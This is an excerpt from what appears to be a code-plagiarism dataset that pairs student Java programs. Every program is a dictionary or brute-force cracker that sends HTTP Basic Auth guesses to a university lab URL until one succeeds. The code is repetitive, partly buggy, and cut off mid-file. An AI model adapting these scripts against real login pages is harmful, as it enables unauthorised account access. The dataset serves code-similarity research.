buelfhood/SOCO_TRAIN_java
048
1anchor_filename,anchor_code,positive_filename,positive_code
2087.java,"import java.net.*;3import java.io.*;4import java.*;5 6 public class Dictionary {7 8 URLConnection conn = null;9 private static boolean status = false;10 11 public static void main (String args[]){12 Dictionary a = new Dictionary();13 String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"",14 """",15 """"};16 File file = new File(""words"");17 exit:18 try {19 BufferedReader in = new BufferedReader(new FileReader(file));20 int attempt = 0;21 inp[2] = in.readLine();22 while (inp[2] != null) {23 24 if (inp[2].length() <= 3) {25 attempt++;26 a.doit(inp);27 if (status) {28 System.out.println(""Crrect password is: "" + inp[2]);29 System.out.println(""Number of attempts = "" + attempt);30 break exit;31 }32 }33 inp[2] = in.readLine();34 }35 } catch (FileNotFoundException e1) {36 37 System.err.println(""File not found: "" + file);38 } catch (IOException e2) {39 40 e2.printStackTrace();41 }42 43 }44 45 public void doit(String args[]) {46 47 try {48 BufferedReader in = new BufferedReader(49 new InputStreamReader50 (connectURL(new URL(args[0]), args[1], args[2])));51 String line;52 while ((line = in.readLine()) != null) {53 System.out.println(line);54 status = true;55 }56 }57 catch (IOException e) {58 59 }60 }61 62 public InputStream connectURL (URL url, String uname, String pword)63 throws IOException {64 conn = url.openConnection();65 conn.setRequestProperty (""Authorization"",66 userNamePasswordBase64(uname,pword));67 conn.connect ();68 return conn.getInputStream();69 }70 71 public String userNamePasswordBase64(String username, String password) {72 return "" "" + base64Encode (username + "":"" + password);73 }74 75 private final static char base64Array [] = {76 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',77 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',78 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',79 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',80 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',81 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',82 'w', 'x', 'y', 'z', '0', '1', '2', '3',83 '4', '5', '6', '7', '8', '9', '+', '/'84 };85 86 private static String base64Encode (String string) {87 String encodedString = """";88 byte bytes [] = string.getBytes ();89 int i = 0;90 int pad = 0;91 while (i < bytes.length) {92 byte b1 = bytes [i++];93 byte b2;94 byte b3;95 if (i >= bytes.length) {96 b2 = 0;97 b3 = 0;98 pad = 2;99 }100 else {101 b2 = bytes [i++];102 if (i >= bytes.length) {103 b3 = 0;104 pad = 1;105 }106 else107 b3 = bytes [i++];108 }109 byte c1 = (byte)(b1 >> 2);110 byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));111 byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));112 byte c4 = (byte)(b3 & 0x3f);113 encodedString += base64Array [c1];114 encodedString += base64Array [c2];115 switch (pad) {116 case 0:117 encodedString += base64Array [c3];118 encodedString += base64Array [c4];119 break;120 case 1:121 encodedString += base64Array [c3];122 encodedString += ""="";123 break;124 case 2:125 encodedString += ""=="";126 break;127 }128 }129 return encodedString;130 }131 }132 133",243.java,"import java.net.*;134import java.io.*;135 136 public class Dictionary {137 int attempts = 0;138 URLConnection conn = null;139 140 public static void main (String args[]){141 142 Dictionary a = new Dictionary();143 a.attack(args);144 }145 146 public void attack(String args[]) {147 try {148 String login = new String("""");149 String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php"");150 String passwd = new String();151 152 153 passwd = getPasswd();154 BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));155 156 String line;157 while ((line = in.readLine()) != null) {158 System.out.println(line);159 }160 System.out.println(""Password Cracked Successfully!!!"");161 System.out.println(""The passsword is :"" + passwd + ""and got after "" +attempts + "" tries"");162 }163 catch (IOException e) {164 165 String r = new String(e.getMessage());166 if ( r != null)167 {168 System.out.println(""Message :"" +r);169 Dictionary a = new Dictionary();170 a.attack(args);171 }172 else173 {174 System.out.println(""Trying again"");175 Dictionary a = new Dictionary();176 a.attack(args);177 }178 }179 }180 public String getPasswd()181 {182 183 int i=0;int j=0;184 attempts++;185 int count =0;186 System.out.println(""Passing dictionary word and waiting for URL reply....... "");187 String currentword = """";188 String se = """";189 try{190 FileInputStream reader = new FileInputStream (""words"");191 DataInputStream in = new DataInputStream(reader);192 while (in.available() !=0)193{194 currentword = in.readLine();195 count++;196 197 198 }199 }200 catch( IOException e){}201 202 return currentword;203 204 }205 206 207 208 public InputStream openURLForInput (URL url, String uname, String pword)209 throws IOException {210 conn = url.openConnection();211 conn.setDoInput (true);212 conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword));213 conn.connect ();214 return conn.getInputStream();215 }216 217 218 public String userNamePasswordBase64(String username, String password) {219 return "" "" + base64Encode (username + "":"" + password);220 }221 222 private final static char base64Array [] = {223 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',224 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',225 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',226 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',227 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',228 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',229 'w', 'x', 'y', 'z', '0', '1', '2', '3',230 '4', '5', '6', '7', '8', '9', '+', '/'231 };232 233 private static String base64Encode (String string) {234 String encodedString = """";235 byte bytes [] = string.getBytes ();236 int i = 0;237 int pad = 0;238 while (i < bytes.length) {239 byte b1 = bytes [i++];240 byte b2;241 byte b3;242 if (i >= bytes.length) {243 b2 = 0;244 b3 = 0;245 pad = 2;246 }247 else {248 b2 = bytes [i++];249 if (i >= bytes.length) {250 b3 = 0;251 pad = 1;252 }253 else254 b3 = bytes [i++];255 }256 byte c1 = (byte)(b1 >> 2);257 byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));258 byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));259 byte c4 = (byte)(b3 & 0x3f);260 encodedString += base64Array [c1];261 encodedString += base64Array [c2];262 switch (pad) {263 case 0:264 encodedString += base64Array [c3];265 encodedString += base64Array [c4];266 break;267 case 1:268 encodedString += base64Array [c3];269 encodedString += ""="";270 break;271 case 2:272 encodedString += ""=="";273 break;274 }275 }276 return encodedString;277 }278 }279 280"
281087.java,"import java.net.*;282import java.io.*;283import java.*;284 285 public class Dictionary {286 287 URLConnection conn = null;288 private static boolean status = false;289 290 public static void main (String args[]){291 Dictionary a = new Dictionary();292 String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"",293 """",294 """"};295 File file = new File(""words"");296 exit:297 try {298 BufferedReader in = new BufferedReader(new FileReader(file));299 int attempt = 0;300 inp[2] = in.readLine();301 while (inp[2] != null) {302 303 if (inp[2].length() <= 3) {304 attempt++;305 a.doit(inp);306 if (status) {307 System.out.println(""Crrect password is: "" + inp[2]);308 System.out.println(""Number of attempts = "" + attempt);309 break exit;310 }311 }312 inp[2] = in.readLine();313 }314 } catch (FileNotFoundException e1) {315 316 System.err.println(""File not found: "" + file);317 } catch (IOException e2) {318 319 e2.printStackTrace();320 }321 322 }323 324 public void doit(String args[]) {325 326 try {327 BufferedReader in = new BufferedReader(328 new InputStreamReader329 (connectURL(new URL(args[0]), args[1], args[2])));330 String line;331 while ((line = in.readLine()) != null) {332 System.out.println(line);333 status = true;334 }335 }336 catch (IOException e) {337 338 }339 }340 341 public InputStream connectURL (URL url, String uname, String pword)342 throws IOException {343 conn = url.openConnection();344 conn.setRequestProperty (""Authorization"",345 userNamePasswordBase64(uname,pword));346 conn.connect ();347 return conn.getInputStream();348 }349 350 public String userNamePasswordBase64(String username, String password) {351 return "" "" + base64Encode (username + "":"" + password);352 }353 354 private final static char base64Array [] = {355 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',356 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',357 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',358 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',359 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',360 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',361 'w', 'x', 'y', 'z', '0', '1', '2', '3',362 '4', '5', '6', '7', '8', '9', '+', '/'363 };364 365 private static String base64Encode (String string) {366 String encodedString = """";367 byte bytes [] = string.getBytes ();368 int i = 0;369 int pad = 0;370 while (i < bytes.length) {371 byte b1 = bytes [i++];372 byte b2;373 byte b3;374 if (i >= bytes.length) {375 b2 = 0;376 b3 = 0;377 pad = 2;378 }379 else {380 b2 = bytes [i++];381 if (i >= bytes.length) {382 b3 = 0;383 pad = 1;384 }385 else386 b3 = bytes [i++];387 }388 byte c1 = (byte)(b1 >> 2);389 byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));390 byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));391 byte c4 = (byte)(b3 & 0x3f);392 encodedString += base64Array [c1];393 encodedString += base64Array [c2];394 switch (pad) {395 case 0:396 encodedString += base64Array [c3];397 encodedString += base64Array [c4];398 break;399 case 1:400 encodedString += base64Array [c3];401 encodedString += ""="";402 break;403 case 2:404 encodedString += ""=="";405 break;406 }407 }408 return encodedString;409 }410 }411 412",242.java,"import java.net.*;413import java.io.*;414 415 public class Bruteforce {416 int attempts = 0;417 int l = 65;int m = 65;int n = 65;418 URLConnection conn = null;419 420 public static void main(String args[]){421 422 Bruteforce a = new Bruteforce();423 a.attack(args);424 }425 426 public void attack(String args[]) {427 try {428 429 String login = new String("""");430 String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php"");431 String passwd = new String();432 433 passwd = getPasswd();434 BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));435 436 String line;437 while ((line = in.readLine()) != null) {438 System.out.println(line);439 }440 System.out.println(""Password Cracked Successfully!!!"");441 System.out.println(""The passsword is :"" + passwd + ""and got after "" + attempts + "" tries"");442 }443 catch (IOException e) {444 445 String r = new String(e.getMessage());446 if ( r != null)447 {448 System.out.println(""Message :"" +r);449 System.out.println(""Trying again with new password"");450 Bruteforce a = new Bruteforce();451 a.attack(args);452 }453 else454 {455 System.out.println(""Trying again with new password"");456 Bruteforce a = new Bruteforce();457 a.attack(args);458 }459 }460 }461 public String getPasswd()462 {463 attempts++;464 465 char i1 = 0;466 char j1 = 0;467 char k1 = 0;468 469 int i= l; int j= m; int k= n;470 471 String c = new String();472 String c1 = new String();473 String c2 = new String();474 String c3 = new String();475 String c4 = new String();476 boolean flag;477 478 for (i=l;i<123;i++)479 for (j=m;j<123;j++)480 for (k=n;k<123;k++)481 {482 if( flag = true )483 {484 485 i1 = (char)i;486 j1 = (char)j;487 k1 = (char)k;488 489 if (i==91) i=97;490 if (j==91) j=97;491 if (k==91) k=97;492 493 c = i1+"""";494 c1 = j1+"""";495 c2 = k1+"""";496 c3 = c.concat(c1);497 c4 = c3.concat(c2);498 }else break;499 }500 flag = false;501 return c4;502 }503 504 public InputStream openURLForInput (URL url, String uname, String pword)505 throws IOException {506 conn = url.openConnection();507 conn.setDoInput (true);508 conn.setRequestProperty (""Authorization"", PasswordBase64(uname,pword));509 conn.connect ();510 return conn.getInputStream();511 }512 513 514 public String PasswordBase64(String username, String password) {515 return "" "" + base64Encode (username + "":"" + password);516 }517 518 private final static char base64Array [] = {519 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',520 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',521 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',522 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',523 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',524 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',525 'w', 'x', 'y', 'z', '0', '1', '2', '3',526 '4', '5', '6', '7', '8', '9', '+', '/'527 };528 529 private static String base64Encode (String string) {530 String encodedString = """";531 byte bytes [] = string.getBytes ();532 int i = 0;533 int pad = 0;534 while (i < bytes.length) {535 byte b1 = bytes [i++];536 byte b2;537 byte b3;538 if (i >= bytes.length) {539 b2 = 0;540 b3 = 0;541 pad = 2;542 }543 else {544 b2 = bytes [i++];545 if (i >= bytes.length) {546 b3 = 0;547 pad = 1;548 }549 else550 b3 = bytes [i++];551 }552 byte c1 = (byte)(b1 >> 2);553 byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));554 byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));555 byte c4 = (byte)(b3 & 0x3f);556 encodedString += base64Array [c1];557 encodedString += base64Array [c2];558 switch (pad) {559 case 0:560 encodedString += base64Array [c3];561 encodedString += base64Array [c4];562 break;563 case 1:564 encodedString += base64Array [c3];565 encodedString += ""="";566 break;567 case 2:568 encodedString += ""=="";569 break;570 }571 }572 return encodedString;573 }574 }575"
576087.java,"import java.net.*;577import java.io.*;578import java.*;579 580 public class Dictionary {581 582 URLConnection conn = null;583 private static boolean status = false;584 585 public static void main (String args[]){586 Dictionary a = new Dictionary();587 String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"",588 """",589 """"};590 File file = new File(""words"");591 exit:592 try {593 BufferedReader in = new BufferedReader(new FileReader(file));594 int attempt = 0;595 inp[2] = in.readLine();596 while (inp[2] != null) {597 598 if (inp[2].length() <= 3) {599 attempt++;600 a.doit(inp);601 if (status) {602 System.out.println(""Crrect password is: "" + inp[2]);603 System.out.println(""Number of attempts = "" + attempt);604 break exit;605 }606 }607 inp[2] = in.readLine();608 }609 } catch (FileNotFoundException e1) {610 611 System.err.println(""File not found: "" + file);612 } catch (IOException e2) {613 614 e2.printStackTrace();615 }616 617 }618 619 public void doit(String args[]) {620 621 try {622 BufferedReader in = new BufferedReader(623 new InputStreamReader624 (connectURL(new URL(args[0]), args[1], args[2])));625 String line;626 while ((line = in.readLine()) != null) {627 System.out.println(line);628 status = true;629 }630 }631 catch (IOException e) {632 633 }634 }635 636 public InputStream connectURL (URL url, String uname, String pword)637 throws IOException {638 conn = url.openConnection();639 conn.setRequestProperty (""Authorization"",640 userNamePasswordBase64(uname,pword));641 conn.connect ();642 return conn.getInputStream();643 }644 645 public String userNamePasswordBase64(String username, String password) {646 return "" "" + base64Encode (username + "":"" + password);647 }648 649 private final static char base64Array [] = {650 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',651 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',652 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',653 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',654 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',655 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',656 'w', 'x', 'y', 'z', '0', '1', '2', '3',657 '4', '5', '6', '7', '8', '9', '+', '/'658 };659 660 private static String base64Encode (String string) {661 String encodedString = """";662 byte bytes [] = string.getBytes ();663 int i = 0;664 int pad = 0;665 while (i < bytes.length) {666 byte b1 = bytes [i++];667 byte b2;668 byte b3;669 if (i >= bytes.length) {670 b2 = 0;671 b3 = 0;672 pad = 2;673 }674 else {675 b2 = bytes [i++];676 if (i >= bytes.length) {677 b3 = 0;678 pad = 1;679 }680 else681 b3 = bytes [i++];682 }683 byte c1 = (byte)(b1 >> 2);684 byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));685 byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));686 byte c4 = (byte)(b3 & 0x3f);687 encodedString += base64Array [c1];688 encodedString += base64Array [c2];689 switch (pad) {690 case 0:691 encodedString += base64Array [c3];692 encodedString += base64Array [c4];693 break;694 case 1:695 encodedString += base64Array [c3];696 encodedString += ""="";697 break;698 case 2:699 encodedString += ""=="";700 break;701 }702 }703 return encodedString;704 }705 }706 707",155.java,"import java.io.*;708import java.net.*;709 710public class Dictionary{711 712 public static void main( String[] args ){713 Dictionary dict= new Dictionary();714 dict.create();715 }716 717public void dsf(){718 String password;719 String auth_data;720 String username="""";721 String server_res_code;722 String required_server_res_code=""200"";723 int cntr=0;724 try{725 URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");726 URLConnection conn=null;727 String fileName = ""/usr/share/lib/dict/words"";728 fileName=fileName.trim();729 FileReader fr = new FileReader(fileName);730 BufferedReader inputfile = new BufferedReader(fr);731 732 while( (password=inputfile.readLine()) != null ){733 734 password = password.trim();735 736 auth_data=null;737 auth_data=username + "":"" + password;738 auth_data=auth_data.trim();739 auth_data=getBasicAuthData(auth_data);740 auth_data=auth_data.trim();741 conn=url.openConnection();742 conn.setDoInput (true);743 conn.setDoOutput(true);744 conn.setRequestProperty(""GET"", ""/SEC/2/ HTTP/1.1"");745 conn.setRequestProperty (""Authorization"", auth_data);746 server_res_code=conn.getHeaderField(0);747 server_res_code=server_res_code.substring(9,12);748 server_res_code.trim();749 cntr++;750 if( server_res_code.compareTo(required_server_res_code)!=0)751 System.out.println(cntr + "" . "" + ""PASSWORD SEND : "" + password + "" SERVER RESPONSE : "" + server_res_code);752 else {753 System.out.println(cntr + "" . "" + ""PASSWORD IS: "" + password + "" SERVER RESPONSE : "" + server_res_code);754 break;}755 756 }757 758}759 760catch( Exception e){761 System.err.println(e);762 }763}764 765public String getBasicAuthData (String getauthdata) {766 767char base64Array [] = {768 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',769 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',770 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',771 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',772 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',773 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',774 'w', 'x', 'y', 'z', '0', '1', '2', '3',775 '4', '5', '6', '7', '8', '9', '+', '/' } ;776 777 String encodedString = """";778 byte bytes [] = getauthdata.getBytes ();779 int i = 0;780 int pad = 0;781 while (i < bytes.length) {782 byte b1 = bytes [i++];783 byte b2;784 byte b3;785 if (i >= bytes.length) {786 b2 = 0;787 b3 = 0;788 pad = 2;789 }790 else {791 b2 = bytes [i++];792 if (i >= bytes.length) {793 b3 = 0;794 pad = 1;795 }796 else797 b3 = bytes [i++];798 }799 byte c1 = (byte)(b1 >> 2);800 byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));801 byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));802 byte c4 = (byte)(b3 & 0x3f);803 encodedString += base64Array [c1];804 encodedString += base64Array [c2];805 switch (pad) {806 case 0:807 encodedString += base64Array [c3];808 encodedString += base64Array [c4];809 break;810 case 1:811 encodedString += base64Array [c3];812 encodedString += ""="";813 break;814 case 2:815 encodedString += ""=="";816 break;817 }818 }819 return "" "" + encodedString;820 }821 822}"
823087.java,"import java.net.*;824import java.io.*;825import java.*;826 827 public class Dictionary {828 829 URLConnection conn = null;830 private static boolean status = false;831 832 public static void main (String args[]){833 Dictionary a = new Dictionary();834 String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"",835 """",836 """"};837 File file = new File(""words"");838 exit:839 try {840 BufferedReader in = new BufferedReader(new FileReader(file));841 int attempt = 0;842 inp[2] = in.readLine();843 while (inp[2] != null) {844 845 if (inp[2].length() <= 3) {846 attempt++;847 a.doit(inp);848 if (status) {849 System.out.println(""Crrect password is: "" + inp[2]);850 System.out.println(""Number of attempts = "" + attempt);851 break exit;852 }853 }854 inp[2] = in.readLine();855 }856 } catch (FileNotFoundException e1) {857 858 System.err.println(""File not found: "" + file);859 } catch (IOException e2) {860 861 e2.printStackTrace();862 }863 864 }865 866 public void doit(String args[]) {867 868 try {869 BufferedReader in = new BufferedReader(870 new InputStreamReader871 (connectURL(new URL(args[0]), args[1], args[2])));872 String line;873 while ((line = in.readLine()) != null) {874 System.out.println(line);875 status = true;876 }877 }878 catch (IOException e) {879 880 }881 }882 883 public InputStream connectURL (URL url, String uname, String pword)884 throws IOException {885 conn = url.openConnection();886 conn.setRequestProperty (""Authorization"",887 userNamePasswordBase64(uname,pword));888 conn.connect ();889 return conn.getInputStream();890 }891 892 public String userNamePasswordBase64(String username, String password) {893 return "" "" + base64Encode (username + "":"" + password);894 }895 896 private final static char base64Array [] = {897 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',898 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',899 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',900 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',901 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',902 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',903 'w', 'x', 'y', 'z', '0', '1', '2', '3',904 '4', '5', '6', '7', '8', '9', '+', '/'905 };906 907 private static String base64Encode (String string) {908 String encodedString = """";909 byte bytes [] = string.getBytes ();910 int i = 0;911 int pad = 0;912 while (i < bytes.length) {913 byte b1 = bytes [i++];914 byte b2;915 byte b3;916 if (i >= bytes.length) {917 b2 = 0;918 b3 = 0;919 pad = 2;920 }921 else {922 b2 = bytes [i++];923 if (i >= bytes.length) {924 b3 = 0;925 pad = 1;926 }927 else928 b3 = bytes [i++];929 }930 byte c1 = (byte)(b1 >> 2);931 byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));932 byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));933 byte c4 = (byte)(b3 & 0x3f);934 encodedString += base64Array [c1];935 encodedString += base64Array [c2];936 switch (pad) {937 case 0:938 encodedString += base64Array [c3];939 encodedString += base64Array [c4];940 break;941 case 1:942 encodedString += base64Array [c3];943 encodedString += ""="";944 break;945 case 2:946 encodedString += ""=="";947 break;948 }949 }950 return encodedString;951 }952 }953 954",086.java,"import java.net.*;955import java.io.*;956import java.*;957 958 public class BruteForce {959 960 URLConnection conn = null;961 private static boolean status = false;962 963 public static void main (String args[]){964 BruteForce a = new BruteForce();965 String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"",966 """",967 """"};968 int attempts = 0;969 exit:970 for (int i=0;i<pwdArray.length;i++) {971 for (int j=0;j<pwdArray.length;j++) {972 for (int k=0;k<pwdArray.length;k++) {973 if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;974 if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;975 inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];976 attempts++;977 a.doit(inp);978 979 if (status) {980 System.out.println(""Crrect password is: "" + inp[2]);981 System.out.println(""Number of attempts = "" + attempts);982 break exit;983 }984 inp[2] = """";985 }986 }987 }988 }989 990 public void doit(String args[]) {991 992 try {993 BufferedReader in = new BufferedReader(994 new InputStreamReader995 (connectURL(new URL(args[0]), args[1], args[2])));996 String line;997 while ((line = in.readLine()) != null) {998 System.out.println(line);999 status = true;1000 }1001 }1002 catch (IOException e) {1003 1004 }1005 }1006 1007 public InputStream connectURL (URL url, String uname, String pword)1008 throws IOException {1009 conn = url.openConnection();1010 conn.setRequestProperty (""Authorization"",1011 userNamePasswordBase64(uname,pword));1012 conn.connect ();1013 return conn.getInputStream();1014 }1015 1016 public String userNamePasswordBase64(String username, String password) {1017 return "" "" + base64Encode (username + "":"" + password);1018 }1019 1020 private final static char pwdArray [] = {1021 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',1022 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',1023 'q', 'r', 's', 't', 'u', 'v', 'w', 'x',1024 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',1025 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',1026 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',1027 'W', 'X', 'Y', 'Z', ' '1028 };1029 1030 private final static char base64Array [] = {1031 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',1032 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',1033 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',1034 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',1035 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',1036 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',1037 'w', 'x', 'y', 'z', '0', '1', '2', '3',1038 '4', '5', '6', '7', '8', '9', '+', '/'1039 };1040 1041 private static String base64Encode (String string) {1042 String encodedString = """";1043 byte bytes [] = string.getBytes ();1044 int i = 0;1045 int pad = 0;1046 while (i < bytes.length) {1047 byte b1 = bytes [i++];1048 byte b2;1049 byte b3;1050 if (i >= bytes.length) {1051 b2 = 0;1052 b3 = 0;1053 pad = 2;1054 }1055 else {1056 b2 = bytes [i++];1057 if (i >= bytes.length) {1058 b3 = 0;1059 pad = 1;1060 }1061 else1062 b3 = bytes [i++];1063 }1064 byte c1 = (byte)(b1 >> 2);1065 byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));1066 byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));1067 byte c4 = (byte)(b3 & 0x3f);1068 encodedString += base64Array [c1];1069 encodedString += base64Array [c2];1070 switch (pad) {1071 case 0:1072 encodedString += base64Array [c3];1073 encodedString += base64Array [c4];1074 break;1075 case 1:1076 encodedString += base64Array [c3];1077 encodedString += ""="";1078 break;1079 case 2:1080 encodedString += ""=="";1081 break;1082 }1083 }1084 return encodedString;1085 }1086 }1087 1088"
1089087.java,"import java.net.*;1090import java.io.*;1091import java.*;1092 1093 public class Dictionary {1094 1095 URLConnection conn = null;1096 private static boolean status = false;1097 1098 public static void main (String args[]){1099 Dictionary a = new Dictionary();1100 String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"",1101 """",1102 """"};1103 File file = new File(""words"");1104 exit:1105 try {1106 BufferedReader in = new BufferedReader(new FileReader(file));1107 int attempt = 0;1108 inp[2] = in.readLine();1109 while (inp[2] != null) {1110 1111 if (inp[2].length() <= 3) {1112 attempt++;1113 a.doit(inp);1114 if (status) {1115 System.out.println(""Crrect password is: "" + inp[2]);1116 System.out.println(""Number of attempts = "" + attempt);1117 break exit;1118 }1119 }1120 inp[2] = in.readLine();1121 }1122 } catch (FileNotFoundException e1) {1123 1124 System.err.println(""File not found: "" + file);1125 } catch (IOException e2) {1126 1127 e2.printStackTrace();1128 }1129 1130 }1131 1132 public void doit(String args[]) {1133 1134 try {1135 BufferedReader in = new BufferedReader(1136 new InputStreamReader1137 (connectURL(new URL(args[0]), args[1], args[2])));1138 String line;1139 while ((line = in.readLine()) != null) {1140 System.out.println(line);1141 status = true;1142 }1143 }1144 catch (IOException e) {1145 1146 }1147 }1148 1149 public InputStream connectURL (URL url, String uname, String pword)1150 throws IOException {1151 conn = url.openConnection();1152 conn.setRequestProperty (""Authorization"",1153 userNamePasswordBase64(uname,pword));1154 conn.connect ();1155 return conn.getInputStream();1156 }1157 1158 public String userNamePasswordBase64(String username, String password) {1159 return "" "" + base64Encode (username + "":"" + password);1160 }1161 1162 private final static char base64Array [] = {1163 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',1164 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',1165 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',1166 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',1167 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',1168 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',1169 'w', 'x', 'y', 'z', '0', '1', '2', '3',1170 '4', '5', '6', '7', '8', '9', '+', '/'1171 };1172 1173 private static String base64Encode (String string) {1174 String encodedString = """";1175 byte bytes [] = string.getBytes ();1176 int i = 0;1177 int pad = 0;1178 while (i < bytes.length) {1179 byte b1 = bytes [i++];1180 byte b2;1181 byte b3;1182 if (i >= bytes.length) {1183 b2 = 0;1184 b3 = 0;1185 pad = 2;1186 }1187 else {1188 b2 = bytes [i++];1189 if (i >= bytes.length) {1190 b3 = 0;1191 pad = 1;1192 }1193 else1194 b3 = bytes [i++];1195 }1196 byte c1 = (byte)(b1 >> 2);1197 byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));1198 byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));1199 byte c4 = (byte)(b3 & 0x3f);1200 encodedString += base64Array [c1];